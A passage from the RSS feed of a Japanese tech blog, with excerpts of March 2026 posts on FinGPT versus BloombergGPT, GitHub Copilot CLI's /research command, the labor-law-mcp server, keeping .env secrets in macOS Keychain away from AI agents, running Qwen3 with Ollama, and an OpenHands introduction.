&lt;p&gt;Bloomberg が 2023 年に公開した BloombergGPT（50B パラメータ）は、金融特化 LLM の可能性を示しました。しかし、モデルは非公開で、学習には &lt;strong&gt;53 日間と約 270 万ドル&lt;/strong&gt;が必要でした。&lt;/p&gt;
&lt;p&gt;FinGPT はこの問題に対して「&lt;strong&gt;金融 AI の民主化&lt;/strong&gt;」を掲げ、以下を実現しています。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;オープンソース（Apache 2.0 / MIT ライセンス）&lt;/li&gt;
&lt;li&gt;LoRA によるパラメータ効率的なファインチューニング&lt;/li&gt;
&lt;li&gt;1 台の GPU（RTX 3090）で学習可能&lt;/li&gt;
&lt;li&gt;学習コスト &lt;strong&gt;17〜300 ドル&lt;/strong&gt;（BloombergGPT 比で約 1 万分の 1）&lt;/li&gt;
&lt;/ul&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;項目&lt;/th&gt;
&lt;th&gt;BloombergGPT&lt;/th&gt;
&lt;th&gt;FinGPT&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;パラメータ数&lt;/td&gt;
&lt;td&gt;50B&lt;/td&gt;
&lt;td&gt;7B〜13B（LoRA）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;学習コスト&lt;/td&gt;
&lt;td&gt;約 270 万ドル&lt;/td&gt;
&lt;td&gt;17〜300 ドル&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;学習期間&lt;/td&gt;
&lt;td&gt;53 日&lt;/td&gt;
&lt;td&gt;数時間&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;公開状況&lt;/td&gt;
&lt;td&gt;非公開&lt;/td&gt;
&lt;td&gt;オープンソース&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;感情分析（FPB F1）&lt;/td&gt;
&lt;td&gt;51.0%&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;88.2%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;感情分析では FinGPT が BloombergGPT を大幅に上回っています。&lt;/strong&gt; これは LoRA によるタスク特化のファインチューニングが、大規模な事前学習よりも効率的にドメイン知識を獲得できることを示しています。&lt;/p&gt;</description></item><item><title>GitHub Copilot CLI の /research コマンド --- コミットログも Actions 履歴も全部調べてくれるディープリサーチ</title><link>https://hdknr.github.io/blogs/posts/2026/03/github-copilot-cli-%E3%81%AE-/research-%E3%82%B3%E3%83%9E%E3%83%B3%E3%83%89---%E3%82%B3%E3%83%9F%E3%83%83%E3%83%88%E3%83%AD%E3%82%B0%E3%82%82-actions-%E5%B1%A5%E6%AD%B4%E3%82%82%E5%85%A8%E9%83%A8%E8%AA%BF%E3%81%B9%E3%81%A6%E3%81%8F%E3%82%8C%E3%82%8B%E3%83%87%E3%82%A3%E3%83%BC%E3%83%97%E3%83%AA%E3%82%B5%E3%83%BC%E3%83%81/</link><pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/github-copilot-cli-%E3%81%AE-/research-%E3%82%B3%E3%83%9E%E3%83%B3%E3%83%89---%E3%82%B3%E3%83%9F%E3%83%83%E3%83%88%E3%83%AD%E3%82%B0%E3%82%82-actions-%E5%B1%A5%E6%AD%B4%E3%82%82%E5%85%A8%E9%83%A8%E8%AA%BF%E3%81%B9%E3%81%A6%E3%81%8F%E3%82%8C%E3%82%8B%E3%83%87%E3%82%A3%E3%83%BC%E3%83%97%E3%83%AA%E3%82%B5%E3%83%BC%E3%83%81/</guid><description>&lt;h1 id="github-copilot-cli-の-research-コマンド--コミットログも-actions-履歴も全部調べてくれるディープリサーチ"&gt;GitHub Copilot CLI の /research コマンド &amp;mdash; コミットログも Actions 履歴も全部調べてくれるディープリサーチ&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/07JP27/status/2028703509965939118"&gt;@07JP27 氏が X で連続投稿&lt;/a&gt;し、GitHub Copilot CLI の &lt;code&gt;/research&lt;/code&gt; コマンドの威力を紹介しています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;/research コマンドすげえ。Web を Deep Research してくれるのはもちろん、紐づくリポジトリのコミットログとか GitHub Actions の実行履歴まで全部見てくれて「お前のこのときのコミットのここが原因だぞ。Actions のログにもこう出てるだろ」みたいなことを言ってくる。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="https://x.com/07JP27/status/2028273762769281343"&gt;元の投稿&lt;/a&gt;では Qiita 記事（&lt;a href="https://qiita.com/shyamagu/items/4e2d30a24594c005a02f"&gt;@shyamagu 氏の解説&lt;/a&gt;）も参照されており、MCP ツール連携や WorkIQ との統合例が紹介されています。本記事では、&lt;code&gt;/research&lt;/code&gt; コマンドの技術的な仕組みと、Claude Code との比較を交えて解説します。&lt;/p&gt;
&lt;h2 id="research-コマンドとは"&gt;/research コマンドとは&lt;/h2&gt;
&lt;h3 id="概要"&gt;概要&lt;/h3&gt;
&lt;p&gt;2026 年 2 月 25 日、GitHub Copilot CLI が全有料プラン向けに一般提供（GA）を開始しました。同日リリースの v0.0.417 で追加された &lt;code&gt;/research&lt;/code&gt; コマンドは、&lt;strong&gt;ディープリサーチ専用のスラッシュコマンド&lt;/strong&gt;です。&lt;/p&gt;
&lt;p&gt;通常のチャットが速度重視なのに対し、&lt;code&gt;/research&lt;/code&gt; は&lt;strong&gt;徹底性（thoroughness）を重視&lt;/strong&gt;します。複数のツールを呼び出しながら情報を収集し、数百行に及ぶ Markdown レポートを生成します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# 基本的な使い方&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/research Azure App Service の &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt; 年の新機能
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# MCP ツールを明示的に指定&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/research microsoft-docs ツールを使って Azure App Service の新機能を調査してください
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="3-つのクエリ分類"&gt;3 つのクエリ分類&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;/research&lt;/code&gt; はクエリを自動分類し、回答形式を最適化します。&lt;/p&gt;</description></item><item><title>labor-law-mcp — Claude の労務ハルシネーションを防ぐ MCP サーバーと「一次情報/二次情報」の設計思想</title><link>https://hdknr.github.io/blogs/posts/2026/03/labor-law-mcp-claude-%E3%81%AE%E5%8A%B4%E5%8B%99%E3%83%8F%E3%83%AB%E3%82%B7%E3%83%8D%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3%E3%82%92%E9%98%B2%E3%81%90-mcp-%E3%82%B5%E3%83%BC%E3%83%90%E3%83%BC%E3%81%A8%E4%B8%80%E6%AC%A1%E6%83%85%E5%A0%B1/%E4%BA%8C%E6%AC%A1%E6%83%85%E5%A0%B1%E3%81%AE%E8%A8%AD%E8%A8%88%E6%80%9D%E6%83%B3/</link><pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/labor-law-mcp-claude-%E3%81%AE%E5%8A%B4%E5%8B%99%E3%83%8F%E3%83%AB%E3%82%B7%E3%83%8D%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3%E3%82%92%E9%98%B2%E3%81%90-mcp-%E3%82%B5%E3%83%BC%E3%83%90%E3%83%BC%E3%81%A8%E4%B8%80%E6%AC%A1%E6%83%85%E5%A0%B1/%E4%BA%8C%E6%AC%A1%E6%83%85%E5%A0%B1%E3%81%AE%E8%A8%AD%E8%A8%88%E6%80%9D%E6%83%B3/</guid><description>&lt;h1 id="labor-law-mcp--claude-の労務ハルシネーションを防ぐ-mcp-サーバーと一次情報--二次情報の設計思想"&gt;labor-law-mcp — Claude の労務ハルシネーションを防ぐ MCP サーバーと「一次情報 / 二次情報」の設計思想&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/sabaaji0113/status/2028785676414845058"&gt;sabaaji0113氏のポスト&lt;/a&gt;が、労務法令の条文と通達を Claude に提供する MCP サーバー「labor-law-mcp」の公開を告知し、804いいね、143RT、937ブックマーク、約63,000表示と大きな反響を呼んでいます。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;税務より苦労した！！労務MCPサーバー「labor-law-mcp」を公開しました。Claudeが労務の質問に答えるとき、条文や通達のハルシネーションを防ぐためのMCPサーバーです。
— sabaaji0113&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;このプロジェクトが注目される理由は3つあります。第一に、法律という&lt;strong&gt;ハルシネーションが許されない領域&lt;/strong&gt;で一次情報への直接アクセスを実現していること。第二に、先行する税法版（tax-law-mcp）のアーキテクチャを応用し、&lt;strong&gt;取得できない情報を「ごまかさない」設計&lt;/strong&gt;を導入したこと。第三に、社労士・会計事務所という&lt;strong&gt;明確な実務ユーザー&lt;/strong&gt;を想定していることです。&lt;/p&gt;
&lt;h2 id="labor-law-mcp-の全体像"&gt;labor-law-mcp の全体像&lt;/h2&gt;
&lt;h3 id="基本情報"&gt;基本情報&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;項目&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;開発者&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;kentaroajisaka&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;GitHub&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/kentaroajisaka/labor-law-mcp"&gt;kentaroajisaka/labor-law-mcp&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;npm&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://www.npmjs.com/package/labor-law-mcp"&gt;labor-law-mcp&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ライセンス&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;MIT&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;言語&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;TypeScript 99.4%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Stars&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;35&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;対応法令数&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;45法令&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="6つのツール"&gt;6つのツール&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;ツール&lt;/th&gt;
&lt;th&gt;データソース&lt;/th&gt;
&lt;th&gt;機能&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;get_law&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;e-Gov 法令API v2&lt;/td&gt;
&lt;td&gt;法令名 + 条番号で条文を Markdown 形式で取得&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;search_law&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;e-Gov 法令API v2&lt;/td&gt;
&lt;td&gt;キーワードで法令を横断検索&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;search_mhlw_tsutatsu&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;厚労省法令等DB&lt;/td&gt;
&lt;td&gt;厚労省通達をキーワード検索&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;get_mhlw_tsutatsu&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;厚労省法令等DB&lt;/td&gt;
&lt;td&gt;通達本文を HTML→テキスト変換して取得&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;search_jaish_tsutatsu&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;安全衛生情報センター&lt;/td&gt;
&lt;td&gt;安衛法関連通達を検索&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;get_jaish_tsutatsu&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;安全衛生情報センター&lt;/td&gt;
&lt;td&gt;安衛通達本文を取得&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="対応法令45法令6カテゴリ"&gt;対応法令（45法令・6カテゴリ）&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;カテゴリ&lt;/th&gt;
&lt;th&gt;主要法令&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;労働基準&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;労働基準法、労働契約法、最低賃金法、同施行令・規則&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;労働安全衛生&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;労働安全衛生法、じん肺法、同施行令・規則&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;労働保険&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;労災保険法、雇用保険法、労働保険料徴収法&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;雇用対策&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;職業安定法、労働者派遣法、障害者雇用促進法&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;均等・ワークライフバランス&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;育児介護休業法、男女雇用機会均等法、パート有期法&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;社会保険&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;健康保険法、厚生年金保険法、国民年金法、介護保険法&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;略称にも対応しています。「労基法」「安衛法」「育介法」「健保法」「パワハラ防止法」など12の略称で自然に質問できます。&lt;/p&gt;</description></item><item><title>macOS Keychain で .env のシークレットを守る — 1Password 不要、無料で実現する AI エージェント時代の秘密管理</title><link>https://hdknr.github.io/blogs/posts/2026/03/macos-keychain-%E3%81%A7-.env-%E3%81%AE%E3%82%B7%E3%83%BC%E3%82%AF%E3%83%AC%E3%83%83%E3%83%88%E3%82%92%E5%AE%88%E3%82%8B-1password-%E4%B8%8D%E8%A6%81%E7%84%A1%E6%96%99%E3%81%A7%E5%AE%9F%E7%8F%BE%E3%81%99%E3%82%8B-ai-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E6%99%82%E4%BB%A3%E3%81%AE%E7%A7%98%E5%AF%86%E7%AE%A1%E7%90%86/</link><pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/macos-keychain-%E3%81%A7-.env-%E3%81%AE%E3%82%B7%E3%83%BC%E3%82%AF%E3%83%AC%E3%83%83%E3%83%88%E3%82%92%E5%AE%88%E3%82%8B-1password-%E4%B8%8D%E8%A6%81%E7%84%A1%E6%96%99%E3%81%A7%E5%AE%9F%E7%8F%BE%E3%81%99%E3%82%8B-ai-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E6%99%82%E4%BB%A3%E3%81%AE%E7%A7%98%E5%AF%86%E7%AE%A1%E7%90%86/</guid><description>&lt;h1 id="macos-keychain-で-env-のシークレットを守る--1password-不要無料で実現する-ai-エージェント時代の秘密管理"&gt;macOS Keychain で .env のシークレットを守る — 1Password 不要、無料で実現する AI エージェント時代の秘密管理&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://gist.github.com/hdknr/ee3017a7e8bcfbb995b93b8884cec258"&gt;前回の記事&lt;/a&gt;で、&lt;a href="https://x.com/suin/status/2025525553823191550"&gt;@suin 氏の opx&lt;/a&gt; を紹介しました。1Password CLI をラップし、&lt;code&gt;.env&lt;/code&gt; に &lt;code&gt;op://&lt;/code&gt; 参照だけを書くことで AI エージェントからシークレットを守るツールです。&lt;/p&gt;
&lt;p&gt;しかし、opx には 1Password の契約（月額 $2.99〜）が前提という制約があります。実は macOS には &lt;strong&gt;Keychain&lt;/strong&gt; という強力な秘密管理基盤が標準搭載されており、追加コストなしで同等の「プロセススコープ認証」を実現できます。本記事では、macOS 組み込み機能だけで .env の秘密を守る方法を、ツール選定から実践設定まで解説します。&lt;/p&gt;
&lt;h2 id="なぜ-macos-keychain-なのか"&gt;なぜ macOS Keychain なのか&lt;/h2&gt;
&lt;h3 id="1password-との比較"&gt;1Password との比較&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;項目&lt;/th&gt;
&lt;th&gt;1Password + opx&lt;/th&gt;
&lt;th&gt;macOS Keychain&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;コスト&lt;/td&gt;
&lt;td&gt;月額 $2.99〜&lt;/td&gt;
&lt;td&gt;無料（OS 標準）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;インストール&lt;/td&gt;
&lt;td&gt;1Password アプリ + CLI + opx&lt;/td&gt;
&lt;td&gt;不要（&lt;code&gt;security&lt;/code&gt; コマンドが標準搭載）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;チーム共有&lt;/td&gt;
&lt;td&gt;Vault 共有で容易&lt;/td&gt;
&lt;td&gt;端末ローカル（共有には別の仕組みが必要）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;クラウド同期&lt;/td&gt;
&lt;td&gt;1Password クラウド&lt;/td&gt;
&lt;td&gt;iCloud Keychain で Apple デバイス間は同期可能&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Touch ID&lt;/td&gt;
&lt;td&gt;&lt;code&gt;op run&lt;/code&gt; 時に認証&lt;/td&gt;
&lt;td&gt;Keychain アクセス時に認証（設定が必要）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Linux 対応&lt;/td&gt;
&lt;td&gt;1Password CLI あり&lt;/td&gt;
&lt;td&gt;gnome-keyring / KeePassXC で代替&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;暗号化&lt;/td&gt;
&lt;td&gt;1Password 独自（AES-256-GCM）&lt;/td&gt;
&lt;td&gt;macOS Keychain（AES-256）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;個人開発やスモールチームなら、macOS Keychain で十分です。チーム全体でシークレットを共有したい場合は 1Password の Vault 共有が優位ですが、「AI エージェントに .env を読まれても安全にする」という目的だけなら無料で実現できます。&lt;/p&gt;</description></item><item><title>Ollama で Qwen3 を動かす初心者ガイド — 日本語最強ローカルLLMを自分のPCで使う方法</title><link>https://hdknr.github.io/blogs/posts/2026/03/ollama-%E3%81%A7-qwen3-%E3%82%92%E5%8B%95%E3%81%8B%E3%81%99%E5%88%9D%E5%BF%83%E8%80%85%E3%82%AC%E3%82%A4%E3%83%89-%E6%97%A5%E6%9C%AC%E8%AA%9E%E6%9C%80%E5%BC%B7%E3%83%AD%E3%83%BC%E3%82%AB%E3%83%ABllm%E3%82%92%E8%87%AA%E5%88%86%E3%81%AEpc%E3%81%A7%E4%BD%BF%E3%81%86%E6%96%B9%E6%B3%95/</link><pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/ollama-%E3%81%A7-qwen3-%E3%82%92%E5%8B%95%E3%81%8B%E3%81%99%E5%88%9D%E5%BF%83%E8%80%85%E3%82%AC%E3%82%A4%E3%83%89-%E6%97%A5%E6%9C%AC%E8%AA%9E%E6%9C%80%E5%BC%B7%E3%83%AD%E3%83%BC%E3%82%AB%E3%83%ABllm%E3%82%92%E8%87%AA%E5%88%86%E3%81%AEpc%E3%81%A7%E4%BD%BF%E3%81%86%E6%96%B9%E6%B3%95/</guid><description>&lt;h1 id="ollama-で-qwen3-を動かす初心者ガイド--日本語最強ローカル-llm-を自分の-pc-で使う方法"&gt;Ollama で Qwen3 を動かす初心者ガイド — 日本語最強ローカル LLM を自分の PC で使う方法&lt;/h1&gt;
&lt;p&gt;「ChatGPT みたいな AI を、自分の PC だけで動かせたら」と思ったことはありませんか。Ollama と Qwen3 を使えば、それが実現できます。この記事では、&lt;a href="https://saiteki-ai.com/basics/ai-tool/ollama/ollama-qwen/"&gt;Saiteki AI の解説記事&lt;/a&gt;をベースに、初心者でもわかるように Ollama と Qwen3 の導入手順をまとめました。&lt;/p&gt;
&lt;h2 id="まず知っておきたいllmランタイムエージェントの-3-層構造"&gt;まず知っておきたい：LLM・ランタイム・エージェントの 3 層構造&lt;/h2&gt;
&lt;p&gt;AI の世界には、混同しやすい 3 つの概念があります。この記事で扱う Ollama と Qwen がどこに位置するかを最初に整理しましょう。&lt;/p&gt;
&lt;h3 id="レストランに例えると"&gt;レストランに例えると&lt;/h3&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;お客さん（あなた）
↓ 「パスタを作って」
ウェイター（AI エージェント） ← 注文を聞き、判断し、段取りを組む
↓ 「この食材でこう調理して」
キッチン設備（ランタイム） ← オーブンや鍋。料理を物理的に実行する環境
↓
シェフの腕＝レシピの知識（LLM） ← 実際に「どう調理するか」を知っている頭脳
&lt;/code&gt;&lt;/pre&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;層&lt;/th&gt;
&lt;th&gt;役割&lt;/th&gt;
&lt;th&gt;具体例&lt;/th&gt;
&lt;th&gt;自分で判断するか&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;LLM&lt;/strong&gt;（AI モデル）&lt;/td&gt;
&lt;td&gt;言葉を理解し、回答を生成する「頭脳」&lt;/td&gt;
&lt;td&gt;Qwen3, Llama3, Gemma2&lt;/td&gt;
&lt;td&gt;しない（聞かれたことに答えるだけ）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ランタイム&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;LLM をメモリに読み込み、動かす「実行環境」&lt;/td&gt;
&lt;td&gt;Ollama, vLLM, llama.cpp&lt;/td&gt;
&lt;td&gt;しない（言われた通り動かすだけ）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;AI エージェント&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;LLM を使って自律的に「仕事」をこなすプログラム&lt;/td&gt;
&lt;td&gt;Claude Code, Devin, Dify&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;する&lt;/strong&gt;（目標に向かって複数ステップを自分で組み立てる）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="3-つの関係"&gt;3 つの関係&lt;/h3&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;AI エージェント（Claude Code など）
↓ 「この質問を LLM に投げて」
ランタイム（Ollama など）
↓ モデルをメモリに読み込んで推論実行
LLM（Qwen3 など）
↓ 回答を生成
ランタイム → エージェントに結果を返す
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;LLM&lt;/strong&gt; は「頭脳」。質問されたら答えを返すが、自分からは何もしない&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ランタイム&lt;/strong&gt; は「エンジン」。LLM を動かすが、何を質問するかは決めない&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;エージェント&lt;/strong&gt; は「ドライバー」。ランタイム経由で LLM を呼び出し、結果を見て次の行動を自分で決める&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;この記事で扱うのは、LLM（Qwen3）とランタイム（Ollama）の 2 つです。&lt;/strong&gt; エージェントは含みませんが、Ollama で動かした Qwen3 を Claude Code や Dify などのエージェントのバックエンドとして使うことも可能です。&lt;/p&gt;</description></item><item><title>OpenHands 入門ガイド — 無料・オープンソースの AI コーディングエージェントを自分の PC で動かす</title><link>https://hdknr.github.io/blogs/posts/2026/03/openhands-%E5%85%A5%E9%96%80%E3%82%AC%E3%82%A4%E3%83%89-%E7%84%A1%E6%96%99%E3%82%AA%E3%83%BC%E3%83%97%E3%83%B3%E3%82%BD%E3%83%BC%E3%82%B9%E3%81%AE-ai-%E3%82%B3%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%82%92%E8%87%AA%E5%88%86%E3%81%AE-pc-%E3%81%A7%E5%8B%95%E3%81%8B%E3%81%99/</link><pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/openhands-%E5%85%A5%E9%96%80%E3%82%AC%E3%82%A4%E3%83%89-%E7%84%A1%E6%96%99%E3%82%AA%E3%83%BC%E3%83%97%E3%83%B3%E3%82%BD%E3%83%BC%E3%82%B9%E3%81%AE-ai-%E3%82%B3%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%82%92%E8%87%AA%E5%88%86%E3%81%AE-pc-%E3%81%A7%E5%8B%95%E3%81%8B%E3%81%99/</guid><description>&lt;h1 id="openhands-入門ガイド--無料オープンソースの-ai-コーディングエージェントを自分の-pc-で動かす"&gt;OpenHands 入門ガイド — 無料・オープンソースの AI コーディングエージェントを自分の PC で動かす&lt;/h1&gt;
&lt;h2 id="openhands-とは"&gt;OpenHands とは&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://github.com/OpenHands/OpenHands"&gt;OpenHands&lt;/a&gt;（旧 OpenDevin）は、&lt;strong&gt;AI が自律的にコードを書き、デバッグし、テストを実行する&lt;/strong&gt;オープンソースのコーディングエージェントです。MIT ライセンスで完全無料、GitHub で 68,000 スター以上を獲得し、479 名以上のコントリビューターが参加しています。&lt;/p&gt;
&lt;p&gt;簡単に言えば、「Claude Code や Devin のオープンソース版」です。自然言語で「この関数のテストを書いて」「このバグを直して」と指示するだけで、AI がファイルを読み、コードを編集し、ターミナルでコマンドを実行して、タスクを完了させます。&lt;/p&gt;
